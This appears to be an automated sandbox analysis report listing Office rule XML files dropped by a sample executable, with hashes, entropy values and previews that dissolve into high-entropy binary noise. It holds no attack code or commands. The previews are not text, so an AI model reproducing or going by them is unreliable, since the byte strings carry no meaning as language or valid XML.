Preview:	<?xmlr.oh.&..Q'.....5Ca...xhlD`.....\|..7.a...$ ..X.!.....!uK,Eu......2..u.{Nj.}.@h.`d......_.P..^....0c...E.%.]H%~...........6...k.Wp..V(....F^......6.?..Y..\^...:.o...@.x....a..YE.E...3#D5.Z.9!CAs..+N......3..Kt..4$I5..P.....U^...Yu...>:.$:...Y..FNKJk4.B.. ....h.a.p....OC}.\.....,#.Q.#.....l......$.y.;..6... .r....\.3...S......<?.Y...o..#..j{..z<...LS.....>.RJ..P....MB...........R....0..........@A.?.Ip.....>b!.B2D`...dK$.......q%,....9.&.......K.=<..".6..J.Q...\K...Q...u..7....<.%.../._...).{9#3(..-T...9.T.G.h.....\.&'%2.`.N.'..<.Y!....f.2.U.z.^-....N.F...r...j...........H.&(.......+wj\|.bo..)4....h[._........._...f.U..h..d.q...R.u....3."......P$........}.Z..V...f..._I0j.@3..)H[....S:.f.....O-.=(....a..).rQF....G.iKg.A...2.....t..a.,.UQ?[..D.uz@..-.....&y2_n.._..4..R.w?j....)4"~nFV6..a......G=.....t..p%..n..N.?.'.....N(.Y...9..A............}q@^>G..<O..do.:......oAY ..2..j.....{hy..=L5E..,........7...&..N.XL............Q...h...d..?.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.884612087237443
Encrypted:	false
SSDEEP:	48:AAjLpaeGPPUEfQNPv/qGKMIbhxBLHWGr2HpXEUCUMUAXFuED:7FLosEUPv/qGKMEzHWGr2Hp4UWFuQ
MD5:	E8C9CD0496CCD9E33F2A6E1696B752F1
SHA1:	837D0B9C8C5F61C93D791AE9CB2517C87BDF4C28
SHA-256:	63B3902F7D83F9AED6AD5A4DB4A80E0D80CA10B85F8D42EEC9CC3C6CFEF53127
SHA-512:	15049FF9A19F2B79E3D786484B7BA8E3EC69D72AE7347E546FE309E92765C251D0EB5A4CA3022E0C28F45BF2AA1F319CE35D0E3ECA0AFC5352B289E11CBCD2CF
Malicious:	false
Preview:	<?xml...u...pkg....+\k..!.=3...w....Sc......o.. ql..\uESMSxw.........LV..k..bFN.S..fZ.~...&S.&.CQ....G.>.N.:.(..].+..!.$~yq+..R}..O1n&5.DL.BQ~..M.f...VO...O...J.Y....nm.K6.......R@.c.-...i...P.f...l.N.J.]...S.A.3.....B....%..Y~..\vp..^xI.. 4.2^.}.i..R.\|C....iWx....+..Q.......K.S.R.....%.9.Jq...=.....j.!>44.]...w=x.."....kQWI......y. .O........3sy[.-w..z.F.lK'......i&.C..I.`3.....2#S.6.n.?.b..Oh._...6u.K....+.qm.{Y-.j..."b.....].<...u..S;_..'$..s..w..S...R!.....r..p...!-.a.q..."%..~.d..)w.x.W.-$q.7.......0.\........&.._...B.=...,.{.....O..U..R&....6.....T.}A:.A.-.Z......E.(...M....$... ...X?..../i%.F..n...fy....qT..../.(.w....-W.U2.f....&..g...p.9_ .{......C..%..vg..1....J=i.....;...]T..h..e]{....{.RQFB......{.J...P...0..jdc...P.keZL...o..B..\..7w&$;1'T/.T..S...G..\|.7.......@p.W..".q....6+.2YgR.....v.u.k....m...U)(.,A.....+b.bd.....x.....L.:..V.[l...d8i..F.q9.Z...'.@6d.p>.+F.>Cy.....R~......\|..n..v..[...z.<.x...8z..R5..........`N8`..Y

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.887314777902308
Encrypted:	false
SSDEEP:	48:vvRAEfh4Rwy4McCJP7cqMFDZHq7YLXBTztuQ1IaKXFuED:RAeCwyUYuDZHdvyaAFuQ
MD5:	A2392177E15872CD158AEDA3D99711CF
SHA1:	46D52D8BEFD77A07460962604E5758CCF27D4810
SHA-256:	53C9429D92A9BE1880BE59140920DA4333651CC2C9E9A4B372D41E957625A32B
SHA-512:	18D51B540DC3F845A6E7FC509D033C5733A5BE164FC2E706D52461EC52F8CE337509A2DBB5DE0AFAE69F47FB3E92A618E55B592679BC058CE10F1E4E121EA2D4
Malicious:	false
Preview:	<?xml..ze.....c.7.3..7.>..t.g......m..}X5O../..o.`..].6A...d.J&/...'4.).H..a.a.. ..vU.]._.....U...&.y.yX....[.....@.5.......M.7...;@m._........P..Y.O.....P.."G.......$...V...&.-.+.p..$.r..}...jAb.5..^..g.f3..g.(.i1...O>YX....Pl....,jKr.2.p........w.<Ay../.L;..XXxeC6.....y.,........B..G}w\|P.._...:.......b.(L..8..d#&.S. ..:.]^.k...w.....$.........&....%..8.9V...a../.l....7Y.:..xb..._.....@.$....=RW.0............L.%k.C\...>....U..B_.7.v..w.T..R..`..qAC.....`..8N..9....k.........Q..]!.HU.$S....V..i....M..~.:..)..5v.5."..a.5.E.l...o.jNHD.Rh.0.\..+.!.P]K...M.).a....&&y...n..Z.kk.....a.X...%.Y...x.[....b.97........1i.$Z.f .\.W..Ac.(G..w.EgEy.A..h.w.(.t.{n...=.!Z2.+)...6!.p.j....b...Y.%^ ..[81.GU...u.5......s\(...f.i:..U.o..........N..../.P.Q~..!.Y...0.@aP.~}....jl.M...8.it.-..GLPPgZ.....@....@.yJ,.HMhf.5...g..*.j...b.wE.}.a:.U.T.U...]..q.....+}./h[6Cy...Uu.b.JU.Q$...q^ ..z(.."..h..\|.1h8..h./....'..&.V..k.`..^.Y...G3.".<.Vs..N:..a...mw.(..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702801v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.8626076456611775
Encrypted:	false
SSDEEP:	48:mRkacWwu8HqXnv+UyX8czT7AsagJVr5SUuGmtzp1XFuED:VacWVTnGcq7AsrJVFSUHmtHFuQ
MD5:	A1F020A2FE358DBE95D93859940E9CA7
SHA1:	4A9629BFA41755737F7814F409DA52723390F830
SHA-256:	D04F8047A3D738560695E621C01899E2D692728EC72D92951DE96E7FE73FB55F
SHA-512:	4E06C6A5F1FBAF6EF1F3922813FCBA601E9770489AD1D463D4B80AA8320D4FFBB471C372C1CEB9692C054B7D6893193F17A37EBAB824F74D7BFDFCCF324B08B1
Malicious:	false
Preview:	<?xml7.PAQ.e..P.V93F.7.....`62..U...+..8.S..z.U`53 ...=..s..N.E.m.R...vi......9..V\|..94...zC..._.9x..fxl.R...i.c.EQ=.7........i.....9.....Uh.d>Z..3.... .Q.K.?..}......S....~.~..x:.xz.C....B.%y.(;.mU..y `..uM.=.@OX...t....b.lw.Jw.C\D.WM.p..{...(..(a...o7q.(0...<#..._8V.prN..@...t..k.........mG..@........D.y].u..z..Mr..6K....L...k.$. .Q.....aH.......RQ...x&..?p(Xj.q.>....~`.eT.L=. 7g...al....=R..Ae......}......w@(.$.pmO....M.=..3...Hog&v..........z..Py...L.....zK.Q.J.Y..q..[!>x......i._..;[M...g....,..#x.......l..V..)Z.E.~~&...3.....w......... ..n.2g..........E.e......^.>d...T.....6Ds..KJ..wn.Y..H.}...+.O4.-.o...5....a..7...;....`..r..N...N.!.1...;+..*..GR..8/...^.....hlVk_..=.y...t....b.Q.....a^3..F...N.X.....X........@...O...+..@<g..u..t..C....S>....GZ}>". .......?z.[m..."?l..s..F..G......=.e.)..L...hi%....o..].O;.....iPA......vGk>o......U..~.6T.34.=(...._...X.o.%.e"Yu..e.....dz..aG>.7.5..R)..Y.t.'B..y`ru.:_O7.....?.,..J...9.y....B...i..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702850v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.860913367209703
Encrypted:	false
SSDEEP:	48:l4eWbDkouKXoygXuX88SoVbMuDKdSE+5XFuED:l4eWUDK4xeX88tYZdcFuQ
MD5:	695AD570DCB292DBA2DA6E9D1D17A650
SHA1:	65DD6DC55033F410906CC0EDD6149BA4A78C2287
SHA-256:	49797E725A3E270CC0BD0033A116EEEF3461F200BA9A4AD103BE7E596E866E1B
SHA-512:	F32D097634BF5436EA7A1247D20B558DBBD291E284B9F82990CA43486562CE1B4B3340709D7609458EAE1F031E67EF18F62E797409A015A0DB7E4DBFA4CCCF7F
Malicious:	false
Preview:	<?xml.T?.a..G....P..Z..s..+..#.z..B.2...t.c..^.e....x..=...0nC.....2V....@.;$...v........k.].....[d(G.0..{ ..d..H.....U....v..J...r.F.......).bn..e&..y...YIXg....k..]..yP..[c..]......g.~.[E....P/.0....._.U..3..L."....(...S..H.y..].9...8....gc2..;.Y......^..G%...\|...].....Tk..W....2....L.oPS..6.`&{`....c..p..f.-..#..2.?........:\|.4..c{Iu."..;.RC....Je<xC.E.z :B..$XAa.N<....h].z.{,.V..../..{...R....a....~......R..ta...M..:...........[...%.U..Q..p.[.i.....00.\|l.....:V...X.Y).v.....I8+.m...7.<.6.G...n.x.+0V0.....x.HYYAR>....\...}......Hmu....+0...r~Q....._........^...d....r..io\|E.K...]..].2..^.....:Na.!...]..{B.2].a.&...A....qP..g_d...<.I..S..J.....n...]..:ba....c.v.I..<i.....M+U'.S..+J...k:\....7....6..=..#.JB..3...X.>.N...>g...y0Q........w6.&.....L.N=....B..c..IZ.6.i.$..u.3...tQ.gb{I..C.Tsj).....V9^.e.,... ....a.j..?.JM..4+b}4.9$..0l.....D..Te...L.I4.b....k....:...4m....\}>.4i.BU......U."......<V.du.m..$~..:...63....._W....H/.m2.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702851v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.8959634098194496
Encrypted:	false
SSDEEP:	48:t6a+Z/TnhU1CUUFhOHbjmLuRUg31XxTq1W+XFuED:t6aEdU1HfmIU0qLFuQ
MD5:	9BC5C08CADA61B87E894B109E23DB931
SHA1:	151D8B4B3994315AC0A338167B1D08A4B176C5C3
SHA-256:	86F7BF805F5BE01A38C63B7593C32F7BAF6703B0B2150AC75A57B75C26B58035
SHA-512:	1A74100861CC771CB0741F4718DC7D637DA90F5913FB568354A5D04E3958352BCE6632E5C5BB7A357B519AED8BEFE30F51EF7CB579B1AB3A7122F54DBE6535D4
Malicious:	false
Preview:	<?xml..L.c.......9..T.L.u....b.[Ye.Z..-.].\:..n...CEKT>..`....-Q.......n.0.....E.....k.{.....5...P./) ..x....d..T...d.J`..{h..`.K.Yg..._.<c....k.kO.}w.03..o...&.H.....w}3....1.P....\|C../.\|R)"...#{....<;...mL..'.zID....cw?uK.....#..m.o...k.K7.\|ZO..}MP...`u...M.._-..)3.u....w...x ....r`...c...E2.\...bU.0l...~..........7../'.a....(..h.......;...o..s........}.M.f}.b.Q..7.....,vqA..O......uX[...s.N3....<..P .e...w....a:BMp7...c.n}t.\|.@,...)1%..q....:b.'.Qq..E...5..>YU....R.?..-`.....\|...V@.T..fw{=...,~.E...;......G..T.9..M............_.W6>Mk~..;.d>s.(-.........^.}..2u.?q..~.Ae..4Ms%!ruI......E....M.^.{..}..Ex...=..p.S....l..O...?d.8m.$7......7m`.._`............l.....#&....R.[..9.oa.......#..(.-us.IbP...J.k."..`.....,..B......K.c...v.d17............&......M......!@X...[.....k....,.L8.&Q.?Z.{.QM...v;I....,B.._4.....is....=.jLRv.d....0.d.]5.....-....5..f.'.\|....,l..!./.a.&.....ik.Ry.w.O.c.}...V..0..h...U......U..D!..c.D.?.W..h.(........2r...7-.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702900v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.8683803666004835
Encrypted:	false
SSDEEP:	48:4xKl+yXzU4LTKgVnnux46KzD48NnJtqcUtDa9TAwHXFuED:IrxMnIf8D48Xtqbxw3FuQ
MD5:	02810F04C939DB9A7F860DA9ABB97433
SHA1:	AE88261F85A5F6D726B7811D333F07BE0B69C2EA
SHA-256:	C6B17E81A012D88AC5AAD05ADF318EC568F5ABAA4DBC3E43D87D097848F32BB7
SHA-512:	20FA15DB0E5A284E4FF62726648B028A4996779D9CBABD0119D5310A26185F3AA05E8EA62A6A42637CD97E3A3383DB6C751F9612CB412B0CAB276B54ABCAE646
Malicious:	false
Preview:	<?xml.Aq..^../m..a...O..u."....<.-b..a.x....JV@]t.....[...,3.5......_...P..D.O6b1...o....B....F..tDzB?........ ......o....w.p.v.pR......3Q./..O...=w".....Ji.u(...8..7D0..L.Y.:...;.e...?d......N.q...?g>........t.l.p....^ON...d..d.\............(.g./O..$...F.8t.{.....T.O.M.ve.5..X.q.. .,...z,.i.1.1,..a.H.C.k...._'... M...3x.O..'.....Wvt[D.."%.d...........%.\...n..A~.>..y.h....@. .X0...dS.....m......x...x;P...K.y.a0Z.....(.9.......+e..A..Jz..?1?........4l..:..d.~OR.o.r.=...3+..'.....<...+....z.dI...?ZbMQ..3r'.......F.p!.c..U.sc.o).>..}x.23UV....yN.q......l....%n....<0..j..&$..>.x.`#8....~:.v%g.Tn.n^:.M..yA.?U..j...).s..T....D...m.a.P.c{.....C.QH^"...5.K[..K...'h....K.A..^{...j.Jgm.`..F6...<.8!j...J<.[...rl.ebS.j.....H:y..D......~...yW.L.9....GN.x....^]o7V..o...^.Ar.Q./....<;J..[...!.GF.y..<..6.K....B/$.t.,.,..d........G+W..'X/...O.<.U..9......@I1.2P....Z.T..S..4.V..Ay.O>........6.Y...=.>........e..!c.....#ty._.ON..c.S.]..)..L.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702901v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.900662534095286
Encrypted:	false
SSDEEP:	48:XBvCKqogEfaYmFEozm3HQmtynobTD/XFuED:dCM3uEoa3HzbbTLFuQ
MD5:	CE4CDD88DDB1EEB04F76A50479A8EF1C
SHA1:	1781EB5D3BA8988F8BF7C9BB02B6FCE87BD7CAB9
SHA-256:	5CC38EA038B45008F5039BDF53F11EE7CAB5008BE95C74BFD0A8E722EE056441
SHA-512:	E8474388C8DA9B46C3ECD63836BB9FCB2B2EAA991640DE734DD893EAD71ED02CEDCD51AB6C4AB9E16B18A7C22AA6A678346B58411A5ADAB32BA343382FD2F988
Malicious:	false
Preview:	<?xml.....d-.2....S'..n..@.S..(.G.%.p..w.F../..Z8.gm...z...YJ....Q9...g.14....9v.9Zi6c..A.....M...Fr.w..8.V.&".'....F.$..hOk.cYW..3.R.y.k...Avp^...N..g.~W.......W.$...._....`O...\....I.H.`..E.e.:.a..X....B..q....f....oZx.^.....(..h.Dt.....k%..mH..........E..2%6&6{ ......0...n.:.S.Ef..z... =.-..@q..?...=....,....s.... .-._.;.u.....r.YE.7e....cc.j.....O.....M.:..q..N..W.na..R......9.n.....~s..+T...=..?...:;}#}..!ORX.w>X.2.zwC.p..$..//yx].)?..a..I......\......%....#K.xmL...b..z]...)$..%P..4TF.hm....T......b...2..T.x.).(..`Y.H..iZ..S...........M....q..I.&...g..p.y..x..j.......(......e..s3IK(.@(..Z.B9T.p....1I9.x< x.E.H.....>.......T..[!..&..P.L.\..Q.T..$.E......8...q.E../.9^.A..7.......W.Z..<l...2XQ.x.+...\|.r...(%.3.W..5...S-#........:........1Bd...........F....sPy..A......,...d].)...Jd.8......4y...G1i.jL..O..1..L.c.k+.M..Q.CE.J..H.`...#.......'...y.8I.).Uw..w.i..@..I%\|. D.a..+....N..TA....b..J.P.{aZ..:&..V..S-.[Z.*.u~.....0........P.....T.N

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702950v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.88155460527314
Encrypted:	false
SSDEEP:	48:OeqJa0sw1GHtEbcDTaXQkeZ75xSf6fDpeJzkQhJB2PuMXFuED:lB0p1GH+b4AQbZ75xSfAD8LJImqFuQ
MD5:	670F6B74C0DE105C25633485D495E0A2
SHA1:	8C00D5CC3F7D127361C295ACF79B77190CEBF3D5
SHA-256:	8334919EED13899B7496A7ED352D01DC7643BD3312D0917D8390C73692E49E88
SHA-512:	B6B31D65954C45873EA6AB011629A3DC1A37CC67BBB4C5259A2AA06BC247DF5248D31F3A43015F1791851AA0E1D4A6D8740C99D0E1F199117CF0C50296C80CDB
Malicious:	false
Preview:	<?xml..$..}Ub3..b. ...&.....n.{......`..`...u..F;.......ib.>.o.D.V...~>MW..!.\|#..:.8..!..V`%.hJHaHfQ.#.$.#WH...'.M....b6...R..6...YN.....\|.4w..U......$...O.....?.i......h.....^.>mz....Xz.....:M...3.....+..8.i.+...<..C6.1].WO9.V.tx....p&... ..%q.N..........S...T..)..\|..u...Vu.e:Zf..}.....%.n......R....q..Ic..&A......7.^\|"j....YR.o...........[g..v...>{.....56.L.I....Cg`.z.n.U.u.\|..$N'....n........<.%3.gt.x.X.8.:....L#>...vy`...q".i+FN.......y......%...9.D.z...^[.k..;..5...@4TE..'.A...\|XB6J6..ob>I....B.../_....l.U.V.O......A&....Y..~.{/..,4....Y\:.._.L@V..2.u.....W...$.L..~#"7..j.....]Fz;..t9..>.&.Y.vh....4..V.'.......I...@.X....M...TP..-....K82.K43_...}.x...{..E....+...B...T....;...c..."...)..8V..u."......e.U..l..^..h.}......<8....C.t.r.>...X..x/.P.p.._.z7....n..@.Z-..D.Q...h.`.Uo[^.6&..#..5t..'G..l?...._vb..<...~Dhb}.....;...XS.....]..@.Eh..~...X..ZTE..:....C...;.g1........2...a.!.C6..%.....}.sP.\|6.Eh#...J:..B....\....O&.XK.. ..A.y.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702951v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.898872817067033
Encrypted:	false
SSDEEP:	48:mxRoHYD8qfIVtleOWvXbScWImh+XdzxKxuFJ0idqXFuED:mro0FQVtMOi+cWIXdzxi8MFuQ
MD5:	C6B0C6C428F222B884B5A7668EB575D9
SHA1:	6CD4305D5AD85028095BC45748C7B49875CE5729
SHA-256:	6ADB0B96CF1577FD5E4041FF155013087FED59DF432D46895034604A1719943B
SHA-512:	2380A046734D4503C8E73F29A6A8A8BDCE1F379AB264F5D8A76897B1529B68BD61F2A087B0CD0930B136C2314D4EDBA746203455B1FCDA408E96AD0E61C0603E
Malicious:	false
Preview:	<?xml..[M.........K.P.....n~3.i.W.[~....e...k1u....%...D8.if@...I...FN.x...F.`.U......8......v]......x.\#...Km.Bd.z.....1.....o...Wr....3....K .....3&.I....^.ad.3.NG.N..%?...Q.f.,......v..&A.b..w.5.9.y.7.c...F.h..e."h.h...I...x....'.......C......].mV.)...R.P......i..h.1qw.....$.%`...J$..B....Yh\|F...=..q.C...L..{.g..G...\|..h8P.....8.o..A_S9...K..e.......g.DE...e.r..T`..8...w..C../..Z....0.co}?..OW..+-....F(:..;.: ........!....[TH..:5..:v..Y...e.....!~..<....\9.2..GH..0.r...s.W......$2.,)q..L2.}t.?W."...N.Q?Q.g}F.....BC..}RO5.x.Dml2v{..c]......i..yX$.E6......c..M.g...E..$".=.J.7.\.....x...4...]X...3b....s.V....L.<#.!D.l(ffKYz..)J)..Z.....(..2.`.h....vIP.v.........).E.`..gJ^.M..W@.."Em"..n.....;....6M........r<./....v.G..Hr^..1SB:..g..^.r.....q..<.m...Q........J...........V....G..w...:..7K...\|..$.\P....is.Y....J..yG...p.v.Z...:.c...J.(...e-..!..0s...-.<.......?.....x..w.T.+.h....e...4........Wmy^......,..(....d^....Q.#.....Z.E..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.8907226965758435
Encrypted:	false
SSDEEP:	48:Wmo0hjMOwK1x1guiec5smytFK7gRCLXFuED:W7O3guiec5s347gRyFuQ
MD5:	3D62DCBD187C98854D3C07AFA2F3D96B
SHA1:	8BC9BABBFAC1D6BD1AB520AB55DB86DBB39F489B
SHA-256:	6CDA839CD0285A04F70F4C2F01B975B124423A27940F176544D6969776E330CB
SHA-512:	B6144EC5D60E7117249A984995E333527A1F842627CFCF84A63AAB8624923F99CB6572915E13D17BEBD6EEC070BBA2A2B7C0684B4CC32A5F7C23C4672A979A42
Malicious:	false
Preview:	<?xmlk..j..rsE..:d0..x....A..s.....<...y..y.)2\.t....H...!".5L...ce(.}(:.....0.P...>y.u.y.KS.[.4...+B.. o.....0p.......5..r.Ej.8..`m.#.-6.........q,.._..U.\h.]......;I1..........UT.........C....v.>.A...r3Z.V.Z.t.....9.,w.A...'.Z.K.....f`..j..7....O>..Q2v...@.TI.....a.>.....L..z..8~v*#..".>...l...;._...u....fi..G.%;....l......O..AsK....+.....d.x.fngy.....%.8....;...V.O..".....T[.(.~.K.E&..(. ......s...r.gJA..q,Ud..V.j.nTf...i..c)z...M./.m\|..F....n....-u.....@s..Y..._.z=.5...b."J.=...:...........^.d...h.....).......]-_...[......n._..JC....K\|.O..u.9=..<.2T.RSNX.N.x..6.IX$..SK?.a..R.H...O.9......Z.I..N!.m...2ji7.b....zl.....c....}.;...I...`..ww8.E'.....@..MO..4..l.6...9g@.xum...M.$..~.o.HW<9(.s&0=;.=2F.1.I..ZlH...>@o.I1!...c..[...i......E..@.\..!3x.Ia....Ku...&E...s)...T.0.a.g...q..,3.E....B.F.n....Z....O.......:.k.q....._lD..'..-....[..a....3<.v.#...l.....eeS;5......>....:5....k$...`........s..F..h..6.....".....)!......a_..j....l.+.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.90742372148828
Encrypted:	false
SSDEEP:	48:mqKMKji1L16ANjWaT62zn6xhsSVA+2cfCKwXFuED:FN1kANxnSV/GBFuQ
MD5:	002088DF72794CD6EF34D960860344D3
SHA1:	1ACBD4A40D1DE0A99D81721FD8C47265E3087071
SHA-256:	7F52A0BE0D054BCE3EF684F68A36C587CA0B4197C184D83D9699D8878FE341C6
SHA-512:	1C582FF7AE692D749237646CF7FECD8C4F8B8675A20B03CECA513A5EB0FDA965667C74A52E78FAC44844E7CE9FD212F37D638A376220FAB52A0107F349AAFA59
Malicious:	false
Preview:	<?xml?~.......N...M..rw.b5..~.(...v............p.#.~.o].uN9......o.Xt.+...u\.. ....R..Ir.4...Q.5s.......`.Cmp{..~.6...=d....u.v5..B.T.k.&.1....Y.I..R..G9.:..8........1.yf.%..{...w.Pmk=...<g..C..."{sP .z<.>U....tZ.s3.>.........l..k..^..`....4%!8.d..:.JO9..r~.....^....B.M.?..gfe.mO....j..G........u} ..n....,M....Uc,..,e...}`O..R.^.;.Q......xy_...M{Z..\|3.. ....K.1...\|.m.s...q.!Z...udA$K..2....?\.....K....+..H.."gF.Tk.......Ra..A...J....GQY$...q..b..4...A.z.,...f?..1Wc..in!E.6B...nHrt/.....wr'....G..1p .....T.....Io...p.@.+...{f...f..b....e...q.P..s`......xc.]..!.eS...A..KQ..bd..........<O.u@3......:..\.+..)..y.5...}......`.........E.g.Y.?.7DOPq....L.RZ....!...J..)......@....!.j8.....A."..].W..W..6d..a..!..K.tm`........?I.As..u.B...J..i..Z..1..h.)i..q......yd.z.C..6.b.o...zh...........2.=.O.xT.b.x.h...'...Q...5j1z;.. g..7v......~6(.....z....v3......c...@&8.'.d......9!..>.a..DF..(@[D`.7?.Za../.....>S....fe.]N...8..+....*.....2.j^. ...r.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.871161898882192
Encrypted:	false
SSDEEP:	48:mVw0VjihBwa62bMECg2aQ43p7TjgJP0IsXFuED:mVwiji8UbsaQop7oN0IKFuQ
MD5:	08BC08506C6C6FB75FBABB519C4B465F
SHA1:	4A063848D9988590414DEA4D4FBCCC9A27785041
SHA-256:	CB7EDA3F2C29D7FF8655FB741768B11DE01605FF43CF6E305E6DD6829D238427
SHA-512:	4EEFDFE8BC2B62ADB1FEA27E461F7202C6F7592A4B0FB8926D31692B316563C5C9016BBCD2653FDB3CDB9723057542401A2D832E1EDEBFBDEA6CA58AACDC81A8
Malicious:	false
Preview:	<?xml4.^}.a.n~;....O.L..E.pY..N~6......b.{<....e)..n.u..\.7.\|.0......<...-....vq.....5"....W......... .T..A.c.1z...Y^q....,.e[...Gv5..."....mKr+.>..f..g.Pv.c.c.:<....{..{....t...../sJ..1H..........x..O...S5.W.j.].r&.Q..j....k:..V.W..N+...\|.....94.5t....;H...S;...NJ..L{!.....,.k..n...O.X.]..I.........T...@s9._.N.....bI.......)6M..Fd[O....4..a1.".F... ..../.....)W.._G+2...6.'54....6.Hi..K..z...}.m.j.p..m...62<.C[.&...bA..?.......Y.....Y.,.g.t.o........d.z_....p.n.3KY f....7\.....h.e$...K..Pt._...+[.o;...v........,....53.."..p}..!..e....)..]...F{.H.ag.d......p..c4..z.l`......U...\g.40..z..&.......-Q.........^=l}.)L....-..7....{91..Ine.=....E.]..3.sNB.r7.....DV..l.^}B....$.+....%........M..+....5..qrd.4.?..+N../e.\|#..@.".W..0.....).2...#........sf.....1.$[7..I.'......p....o*.t.h.....SU..H++<..k.z.8.......R.;.68{...ca....5.........7...%.4.U.?..(...}C.-d2.>..rm`...^....H.....N........_v.0Hv....R4....A.s.n..zC6.sK..A...0......

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.871622828881097
Encrypted:	false
SSDEEP:	24:iPaqG8H9vB3p0FPTd8DlZZfT5YCyyjLes+PJ4YsDb4Xp0h707kMaO3koAnUuhzXp:mFJpBuhGRZ5WCGpJk00Y79snrhzXFuED
MD5:	4A011400F6859FA192A99BD141B570E8
SHA1:	149E593F4707BAF4FB6CBD39B95B1E9FCC4D36CB
SHA-256:	091076BED3EA91F10287086BCFCDB0F0D3ABBA96A8B3465DBC616507167CF525
SHA-512:	448CD4C23737BB7085CACFFF61FB7E3EA8F7DE18237D32473B1DED3B75FDBE043B28ED40059148AF7E099098490D7A509B93933E07F5835379020423B03B55FF
Malicious:	false
Preview:	<?xmlY7..&.yH>jH.....o?.d...#. .4r~.4E..X.,.q...`..\J..v......;.\...<..."...!.V..+.Q.....$5..U+..1q......C...R..aZrX.j.T....$.U...+....-..DSf...m..Or..9.6.g.=@.F....@.k$d).C.j..D....I.."..<.is.[8$.7....8.D.tI0%..i.R..r...?d1....A...7c....,..7..N....T..pN...(.6..}h.(Tr.QN..]..:X,Ph....Rm.-..0......kE.og#y....xU ...Eq..9.,..N...[s.q-.'..3..G.-.aw........?...-..C.9E.f.`.$Mc=...0h..?\.....r..j....~....c..5...8D.MA7RW\o`.cV.nS..q.%.c..5.C.T.#.N....@0.E.....]};.6\..{.a..T......Lut.W.......2.a<..np.L.....Q:.....1..5qu...^.f.)6......c..8.w,.QE.t...w m..DT{...K.'......S...2..b.Ge6`..-18Dy.TD..A....N.>...]q..w..ju.z{z.....rw.[a..d..Jd.mX...j..E.".....<..a^M........GoCU8......raO.3.m.7~.}.z....1...f.y.=.r&..3hd.4V.}...%.....va.ss...x.<....\|Ym..)L.\....R...Z.....;...X.i..$....`.L../..-.a...."..5.[k.}Y5.=.....\.......<.^....p.8..E..sv )%`<...5..r..<.>.d.,..^..<.2...p5.p.5\V.e.GhO..$y.U...P..../LD. .....\|......E.....`..."m%O..."..u....">Nr....V....e.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.882869667034008
Encrypted:	false
SSDEEP:	48:qZ3dVjVrEdQh5Q5evtq6AwpfFNZxZc8XFuED:qZ3HjVAQqevY3wdDvFuQ
MD5:	E209E71702B4A0AEBA0D64EFADB8F9C8
SHA1:	E6CAB4AC10C0593900A6015B4D174FD6EB46060F
SHA-256:	C1BE6C632B44FD3445B75442FA66196876F0B366619FACA8690DAFA1B965396C
SHA-512:	C12083486D12EEA42BE1EA6B30B640FEC9AF2E07B9D3FBEF97BE2DF415D5ECC6E54F6D8FE7AA9ECDC3FE4A44668AB55FC28B37A790716A8EB738E82C7836F1D7
Malicious:	false
